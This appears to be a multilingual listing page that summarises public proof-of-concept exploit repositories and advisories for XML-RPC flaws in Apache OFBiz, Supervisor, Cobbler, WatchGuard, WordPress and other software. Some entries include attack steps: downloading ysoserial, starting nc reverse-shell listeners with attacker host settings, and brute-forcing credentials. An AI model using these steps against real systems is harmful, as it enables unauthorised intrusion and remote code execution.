ofbiz-CVE-2023-49070-RCE-POC

ofbiz-CVE-2023-49070-RCE-POC This is a pre-auth RCE POC For CVE-2023-49070 which affected Apache ofbiz applications wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar Dns POC RCE POC This tweets helped me alot :...

CVE-2017-8056

CVE-2017-8056 CVE-2017-8056 XML-RPC 익스플로잇 DoS ⭐ FOR LINUX : sudo apt-get update sudo apt-get install python3 sudp apt-get install python3-pip pip3 install colorama fakeuseragent pystyle 🧨 도구 실행 : python3 main.py ⭐ FOR WINDOWS : Download & Install Python3 :...

CVE-2020-9496

CVE-2020-9496 ApacheOfBiz 17.12.01 - 인증되지 않은 원격 코드 실행 XML-RPC 요청은 안전하지 않은 역직렬화에 취약합니다. 단계 1단계: pip3 install -r requeriments.txt 2단계: nc -nlvp 공격자 컴퓨터 3단계: python3 shell.py -i -p -li -lp 4단계: nc 리스너에서 셸을 확인할 수 있습니다...

xmlrpc-common-deserialization

xmlrpc-common 역직렬화 취약점 이 문서는 근본 원인과 관련 익스플로잇을 상세히 설명하는 기술 노트입니다. 최초 공개는 여기에서 확인할 수 있습니다. 관련 CVE는 CVE-2019-17570입니다. 설명 xmlrpc-common은 xmlrpc-client와 xmlrpc-server 간의 공유 코드 베이스를 구성합니다. org.apache.xmlrpc.parser.XmlRpcResponseParser.addResultObject 메서드에서 역직렬화 취약점이 확인되었습니다. 이 취약점으로 인해 공격자가 제어하는 xmlrp...

Cobbler 'XML-RPC' - Authentication Bypass

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.getsharedsecret always returns -1, which allows anyone to connect to cobbler...

CVE-2017-11610

CVE-2017-11610 Supervisor 3.0a1 - 3.3.2용 인증 없는 리버스 셸 RCE Supervisor 3.0a13.3.2용 독립 실행형 Python ≥3.6 인증 없는 RCE 익스플로잇으로, 이 Metasploit 모듈에서 재작성되었습니다. 설명은 이 게시물을 참조하세요. Supervisor 3.3.2를 실행하는 이 대상 환경에서 Python 3.7로 테스트했습니다. 사용법: root@Kali:/Infosec/RubyStuff/Supervisor-3.3.2 ./exploit.py -h usage:...

CVE-2024-47533

CVE-2024-47533 – Cobbler XML-RPC 인증 우회 익스플로잇 📜 설명 CVE-2024-47533은 네트워크 기반 OS 설치를 자동화하는 Linux 설치 서버인 Cobbler의 치명적인 인증 우회 취약점 입니다. 이 결함은 utils.getsharedsecret의 문제로 인해 발생하며, 이 함수는 항상-1을 반환하여 Cobbler XML-RPC API에 대한 인증되지 않은 접근을 가능하게 합니다. 공격자는 다음 자격 증명으로 연결할 수 있습니다: 사용자 이름: "" 빈 문자열 비밀번호: -1 이를 통해 배포판...

CVE-2020-9496

CVE-2020-9496 XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03 Install requirements $ pip install -r requirements.txt $ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE PoC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

Revive Adserver 4.2 - Remote Code Execution

Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g...

teamcity-idea-cve-2020-35667-poc

TeamCity IntelliJ IDEA 플러그인 자격 증명 가로채기 CVE-2020-35667 빠른 링크 개념 증명 보고서 | 작업 흐름 분석 | 서버 스크립트 설명 이것은 가짜 XML-RPC TeamCity 엔드포인트 를 구축하여 CVE-2020-35667 을 재현한 것입니다. CVE-2020-35667은 IntelliJ IDE용 JetBrains TeamCity 플러그인의 SSRF 취약점 입니다. 이전 TeamCity IntelliJ 플러그인은 서버에 공개 키를 요청하고, 이를 사용해 비밀번호를 암호화한 후 다시 보냅니다...

[SECURITY] Fedora 45 Update: php-pecl-xmlrpc-1.0.0~rc3-20.fc45

This extension provides functions to write XML-RPC servers and clients. You can find more information about XML-RPC at http://www.xmlrpc.com/, and more documentation on this extension and its functions at https://www.php.net/xmlrpc. The extension is unbundled from php-src as of PHP 8.0.0, because...

WordpressPingbackPortScanner

WordpressPingbackPortScanner Wordpress는 다른 블로그 게시물에 링크하기 위해 소위 Pingback API를 노출합니다. 이 기능을 사용하면 이 서버를 통해 인트라넷 또는 인터넷의 다른 호스트를 스캔할 수 있습니다. 또한 이 기능을 일종의 분산 포트 스캐닝에 사용할 수 있습니다: 이 API를 노출하는 여러 Wordpress 블로그를 사용하여 단일 호스트를 스캔할 수 있습니다. 이 문제는 Wordpress 3.5.1에서 수정되었습니다. 이전 버전은 XML-RPC 인터페이스가 활성화된 경우 취약합니다...

EXPLOIT-CVE-2026-8832

익스플로잇 CVE-2026-8832 WordPress 플러그인 WPCode Lite Insert Headers and Footers v2.3.5 에서 원격 코드 실행RCE 취약점을 테스트하는 익스플로잇 도구입니다. 이 취약점은 커스텀 포스트 타입CPT wpcode를 등록할 때 사용자 정의 capabilitytype을 정의하지 않아 발생합니다. 이 실수로 인해 작성자 역할또는 그 이상을 가진 사용자가 XML-RPC를 통해 서버에서 임의의 PHP 코드를 실행할 수 있습니다. 크레딧 : t.me/FanatixLegion의 취약점 분...

XML-RPC Server - Remote Code Execution

The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups. id: CVE-2017-11610 info: name: XML-RPC Serve...

CVE-2023-49070

ofbiz-xmlrpc-rce CVE-2023-49070 Apache OFBiz XML-RPC 사전 인증 역직렬화 RCECVE-2023-49070에 대한 PoC입니다. 인증 우회 경로를 통해 레거시 /webtools/control/xmlrpc 엔드포인트에 접근할 수 있게 되며, 이 엔드포인트는 XML-RPC 파라미터 안에 밀반입된 공격자 제어 Java 객체를 역직렬화합니다. ⚠️ 승인된 보안 테스트 전용입니다. 본인이 소유하거나 명시적으로 테스트 권한을 부여받은 시스템CTF/랩 환경, 서명된 범위가 있는 계약 등에만 실행하십시오...

xmlrpc-brute

WordPress XML-RPC Bruteforce Tool A tool designed to test WordPress sites for XML-RPC vulnerabilities by attempting to brute force user credentials through the XML-RPC interface. Description This tool tests WordPress installations for XML-RPC authentication vulnerabilities. It can perform standar...

WordPress-6.9.1-Blind-SSRF

WordPress-6.9.1-Blind-SSRF The exploit has no cve assigned. Affected Versions 6.8 - 6.8.3 6.9 - 6.9.1 WordPress = 6.9.1 - Unauthenticated Blind SSRF via XML-RPC Pingback Discovery proof of concept PoC Usage 1. Install requests if not yet installed pip install requests 2. Change config variables...

Apache-OFBiz-Auth-Bypass-and-RCE-Exploit-CVE-2023-49070-CVE-2023-51467

Apache-OFBiz-Auth-Bypass-and-RCE-Exploit-CVE-2023-49070-CVE-2023-51467 Apache OFBiz는 오픈 소스 전사적 자원 관리ERP 시스템입니다. 이 시스템은 기업의 많은 비즈니스 프로세스를 통합하고 자동화하는 엔터프라이즈 애플리케이션 제품군을 제공합니다. CVE-2023-49070 는 Apache OFBiz 18.12.09에서 확인된 사전 인증 원격 코드 실행RCE 취약점입니다. 이 문제는 더 이상 유지보수되지 않지만 시스템에 남아 있는 XML-RPC로 인해 발생합니다...

CVE-2017-11610

Supervisord リモートコマンド実行脆弱性スクリプト（CVE-2017-11610） 脆弱性概要 Supervisor は Python で書かれたプロセス管理ツールで、UNIX系システム（Windowsは非対応）においてプロセスの起動、再起動（自動再起動）、停止（Pythonプロセスに限らず）を簡単に行える。 Supervisor は C/S モデルのプログラムであり、supervisord がサーバー側、supervisorctl がクライアント側である。簡単に言えば、クライアントが supervisor の命令を入力し、サーバー側の API を呼び出して各種操作を実行する。...